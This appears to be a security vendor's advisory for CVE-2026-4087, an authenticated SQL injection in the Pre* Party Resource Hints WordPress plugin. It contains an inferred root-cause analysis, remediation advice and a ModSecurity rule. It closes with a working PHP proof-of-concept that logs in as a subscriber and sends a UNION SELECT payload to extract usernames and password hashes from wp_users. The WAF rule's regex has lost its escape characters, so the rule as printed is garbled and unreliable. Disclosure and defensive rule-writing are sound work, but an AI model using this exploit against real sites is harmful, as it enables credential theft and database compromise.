Atomic Edge analysis of CVE-2026-4087 (metadata-based):
This vulnerability is an authenticated SQL injection in the Pre* Party Resource Hints WordPress plugin. Attackers with Subscriber-level access or higher can exploit the ‘hint_ids’ parameter in the `pprh_update_hints` AJAX action to execute arbitrary SQL commands. The CVSS score of 6.5 (Medium) reflects the attack’s network accessibility, low complexity, and high confidentiality impact.
Atomic Edge research infers the root cause from the CWE-89 classification and description. The plugin likely constructs an SQL query using the `hint_ids` parameter without proper sanitization or prepared statements. The description confirms insufficient escaping and lack of query preparation. The vulnerable code probably uses `$wpdb` methods incorrectly, directly interpolating user input into a query string instead of using `$wpdb->prepare()`.
Exploitation requires a valid WordPress user session with at least Subscriber privileges. The attacker sends a POST request to the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to `pprh_update_hints` and a malicious `hint_ids` parameter. A payload like `1) UNION SELECT user_login,user_pass FROM wp_users– -` could extract user credentials. The plugin may expect a comma-separated list or array of IDs, which the attacker manipulates to break out of the original SQL query context.
Remediation requires implementing proper input validation and using parameterized queries. The fix should replace any direct variable interpolation in SQL statements with `$wpdb->prepare()`. The developer must also ensure the `hint_ids` parameter is validated as an expected data type, such as an array of integers, using `absint()` or `intval()` on each value. A capability check for the `pprh_update_hints` action should also be verified, though the description confirms Subscriber-level access is sufficient for exploitation.
Successful exploitation leads to full database compromise. Attackers can extract sensitive information including hashed user passwords, email addresses, and other plugin-specific data. While the CVSS vector indicates no direct integrity or availability impact, extracted password hashes can be cracked or used in further attacks. In some SQL injection scenarios, attackers may use stacked queries to modify database contents or achieve privilege escalation, though the description only confirms information disclosure.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4087 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20264087,phase:2,deny,status:403,chain,msg:'CVE-2026-4087 via Pre* Party Resource Hints AJAX',severity:'CRITICAL',tag:'CVE-2026-4087',tag:'wordpress',tag:'plugin',tag:'sqli'"
SecRule ARGS_POST:action "@streq pprh_update_hints" "chain"
SecRule ARGS_POST:hint_ids "@rx (?i)(?:b(?:unions+(?:alls+)?select|selects+w+s+froms+w+|inserts+into|updates+w+s+set|deletes+from)b|(?:sleep|benchmark)s*(|'s*(?:--|#|/*))"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4087 - Pre* Party Resource Hints <= 1.8.20 - Authenticated (Subscriber+) SQL Injection via 'hint_ids' Parameter
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize cURL session for WordPress login to obtain authentication cookies.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Store session cookies.
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Check if login likely succeeded by looking for a dashboard redirect or absence of login error.
if (strpos($login_response, 'login_error') !== false) {
die('Login failed. Check credentials.');
}
// Construct the SQL injection payload targeting the 'hint_ids' parameter.
// This payload attempts to extract the first username and password hash from the wp_users table.
// The exact structure depends on the underlying query, but a UNION-based approach is inferred.
$malicious_hint_ids = "1) UNION SELECT user_login,user_pass FROM wp_users LIMIT 1-- -";
// Send the exploit request to the vulnerable AJAX endpoint.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'pprh_update_hints',
'hint_ids' => $malicious_hint_ids
)));
$exploit_response = curl_exec($ch);
curl_close($ch);
// Output the response for analysis.
echo "Exploit Response:n";
echo htmlspecialchars($exploit_response);
// Note: This PoC is based on metadata inference. The actual payload may require adjustment
// (e.g., different comment syntax, number of columns, table name prefix) based on the plugin's SQL query structure.
?>